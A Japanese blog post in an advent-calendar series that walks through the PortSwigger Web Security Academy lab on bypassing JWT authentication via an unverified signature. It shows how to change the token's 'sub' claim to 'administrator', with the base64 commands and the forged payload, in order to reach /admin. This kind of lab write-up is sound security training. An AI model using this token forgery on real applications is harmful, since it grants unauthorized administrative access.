ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Web Security Academy「JWT authentication bypass via unverified signature」解いてみた

はじめに

この記事は「shinobe179 Advent Calendar 2022」2日目の記事です。

adventar.org

まずは「Lab from all topics」のコンプリートに向けて、「JWT authentication bypass via unverified signature」を解きました。簡単な問題ですが、飲み会終わりにつきお許しを。

メモ

事前情報

  • アプリはJWTの署名を検証しない
    • つまり、書き換えが自由!

流れ

  • とりあえずwiener:peterでログインする
  • Cookieに入っているJWTをコピペして https://jwt.io/
  • ペイロード部の平文をコピーして、subadministratorへ書き換える
  • base64を生成する(後述)
  • ペイロードを差し替える
    • eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9
  • Cookieを差し替えると、/adminへアクセスできるようになる

base64の生成はこんな感じ。

$echo -n '{"iss":"portswigger","sub":"administrator","exp":1670003185}' | base64
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMx
ODV9

# 検証。改行文字がないのでプロンプトの$が続く
$echo -n eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9 | base64 -d
{"iss":"portswigger","sub":"administrator","exp":1670003185}$

宿題

Burp SuiteのInspectorで、JWTの編集ができるみたい。便利!